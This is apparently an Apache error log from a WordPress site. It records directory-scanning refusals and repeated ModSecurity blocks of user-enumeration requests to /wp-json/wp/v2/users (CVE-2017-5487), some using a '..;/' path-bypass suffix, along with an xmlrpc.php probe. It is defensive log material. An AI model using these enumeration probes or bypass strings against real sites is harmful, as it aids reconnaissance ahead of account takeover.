[Thu Apr 09 18:06:09.455770 2026] [autoindex:error] [pid 18477:tid 18501] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:14.464454 2026] [autoindex:error] [pid 18477:tid 18497] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:17.183160 2026] [autoindex:error] [pid 18477:tid 18491] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:17.413654 2026] [autoindex:error] [pid 18477:tid 18488] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:20.069046 2026] [autoindex:error] [pid 18477:tid 18482] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:20.301754 2026] [autoindex:error] [pid 18477:tid 18495] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:20.530834 2026] [autoindex:error] [pid 18477:tid 18496] [client 173.239.214.64:43157] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:28.402413 2026] [autoindex:error] [pid 24927:tid 24951] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:33.653765 2026] [autoindex:error] [pid 24927:tid 24938] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:50.801321 2026] [autoindex:error] [pid 24927:tid 24936] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:51.023176 2026] [autoindex:error] [pid 24927:tid 24954] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:51.450718 2026] [autoindex:error] [pid 24927:tid 24943] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:06:54.110245 2026] [autoindex:error] [pid 24927:tid 24935] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:07:11.770369 2026] [autoindex:error] [pid 24927:tid 24934] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 18:07:24.347679 2026] [autoindex:error] [pid 24927:tid 24945] [client 173.239.214.75:32729] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 20:06:26.475953 2026] [:error] [pid 63331:tid 63336] [client 62.60.131.175:37544] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWQibKfIYuVjWbE4VP0gAAAcM"]
[Thu Apr 09 20:06:28.673605 2026] [:error] [pid 24517:tid 24584] [client 62.60.131.175:37566] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWRHboYEn2ZFM_PS97jAAAAIo"]
[Thu Apr 09 20:06:30.243572 2026] [:error] [pid 24517:tid 24574] [client 62.60.131.175:37590] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWRnboYEn2ZFM_PS97jwAAAIA"]
[Thu Apr 09 20:06:32.245290 2026] [:error] [pid 24516:tid 24565] [client 62.60.131.175:37612] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWSNhW7vSS-UkeWCUrgwAAAFI"]
[Thu Apr 09 20:06:32.903565 2026] [:error] [pid 63331:tid 63342] [client 62.60.131.175:37652] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWSCbKfIYuVjWbE4VP3gAAAck"]
[Thu Apr 09 20:06:34.682794 2026] [:error] [pid 20837:tid 20849] [client 62.60.131.175:37606] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWSvSL71FHZkjrGzPjLQAAAYo"]
[Thu Apr 09 20:06:35.357832 2026] [:error] [pid 24515:tid 24519] [client 62.60.131.175:32070] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWS61OMnvM2fMnB1ObpAAAAAA"]
[Thu Apr 09 20:06:37.457525 2026] [:error] [pid 24624:tid 24631] [client 62.60.131.175:32096] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWTe4Jn-WvK1ZBTvjQyQAAAMU"]
[Thu Apr 09 20:06:38.058271 2026] [:error] [pid 24517:tid 24577] [client 62.60.131.175:32120] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWTnboYEn2ZFM_PS97kQAAAIM"]
[Thu Apr 09 20:06:38.910048 2026] [:error] [pid 24516:tid 24556] [client 62.60.131.175:32132] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWTthW7vSS-UkeWCUrjAAAAEk"]
[Thu Apr 09 20:06:40.342079 2026] [:error] [pid 18477:tid 18487] [client 62.60.131.175:32148] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adeWUMDe826HlFeoLPKWFQAAAUg"]
[Thu Apr 09 20:06:41.826354 2026] [:error] [pid 24515:tid 24525] [client 62.60.131.175:32160] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWUa1OMnvM2fMnB1ObrQAAAAY"]
[Thu Apr 09 20:06:42.602997 2026] [:error] [pid 63331:tid 63343] [client 62.60.131.175:32170] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adeWUibKfIYuVjWbE4VP5gAAAco"]
[Thu Apr 09 20:06:45.974514 2026] [:error] [pid 20837:tid 20856] [client 62.60.131.175:53786] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adeWVfSL71FHZkjrGzPjOAAAAZE"]
[Thu Apr 09 20:06:45.976288 2026] [:error] [pid 20837:tid 20843] [client 62.60.131.175:53770] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adeWVfSL71FHZkjrGzPjOQAAAYQ"]
[Thu Apr 09 20:06:50.510473 2026] [:error] [pid 24927:tid 24954] [client 62.60.131.175:53794] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adeWWjXObuzEuw8mNJsapAAAARg"]
[Thu Apr 09 20:36:13.023108 2026] [:error] [pid 63331:tid 63336] [client 14.191.94.28:21607] [client 14.191.94.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.191.94.28, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adedPSbKfIYuVjWbE4VjUQAAAcM"]
[Thu Apr 09 21:38:00.181038 2026] [:error] [pid 63331:tid 63337] [client 62.60.131.175:53660] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderuCbKfIYuVjWbE4V6SQAAAcQ"]
[Thu Apr 09 21:38:02.617566 2026] [:error] [pid 24624:tid 24646] [client 62.60.131.175:53712] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderuu4Jn-WvK1ZBTvjkRwAAANQ"]
[Thu Apr 09 21:38:03.171985 2026] [:error] [pid 63331:tid 63342] [client 62.60.131.175:53688] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderuybKfIYuVjWbE4V6ZgAAAck"]
[Thu Apr 09 21:38:04.554826 2026] [:error] [pid 63331:tid 63333] [client 62.60.131.175:53736] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adervCbKfIYuVjWbE4V6bgAAAcA"]
[Thu Apr 09 21:38:05.583303 2026] [:error] [pid 24515:tid 24533] [client 62.60.131.175:22206] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderva1OMnvM2fMnB1PHUAAAAA4"]
[Thu Apr 09 21:38:07.055840 2026] [:error] [pid 63331:tid 63337] [client 62.60.131.175:53726] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "adervybKfIYuVjWbE4V6dwAAAcQ"]
[Thu Apr 09 21:38:07.899474 2026] [:error] [pid 24624:tid 24626] [client 62.60.131.175:53664] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderv-4Jn-WvK1ZBTvjkSgAAAMA"]
[Thu Apr 09 21:38:09.973125 2026] [:error] [pid 63331:tid 63357] [client 62.60.131.175:22272] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderwSbKfIYuVjWbE4V6ggAAAdg"]
[Thu Apr 09 21:38:09.973131 2026] [:error] [pid 63331:tid 63342] [client 62.60.131.175:22270] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderwSbKfIYuVjWbE4V6gQAAAck"]
[Thu Apr 09 21:38:11.605408 2026] [:error] [pid 24516:tid 24549] [client 62.60.131.175:22344] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderw9hW7vSS-UkeWCU2dwAAAEI"]
[Thu Apr 09 21:38:12.847460 2026] [:error] [pid 24624:tid 24632] [client 62.60.131.175:22384] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aderxO4Jn-WvK1ZBTvjkTAAAAMY"]
[Thu Apr 09 21:38:13.276397 2026] [:error] [pid 24624:tid 24643] [client 62.60.131.175:22390] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderxe4Jn-WvK1ZBTvjkTQAAANE"]
[Thu Apr 09 21:38:15.386535 2026] [:error] [pid 24515:tid 24540] [client 62.60.131.175:50782] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aderx61OMnvM2fMnB1PHZwAAABU"]
[Thu Apr 09 21:38:17.356828 2026] [:error] [pid 63331:tid 63339] [client 62.60.131.175:50786] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aderySbKfIYuVjWbE4V6jwAAAcY"]
[Thu Apr 09 21:38:18.649679 2026] [:error] [pid 24927:tid 24937] [client 62.60.131.175:50790] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aderyjXObuzEuw8mNJsqOQAAAQc"]
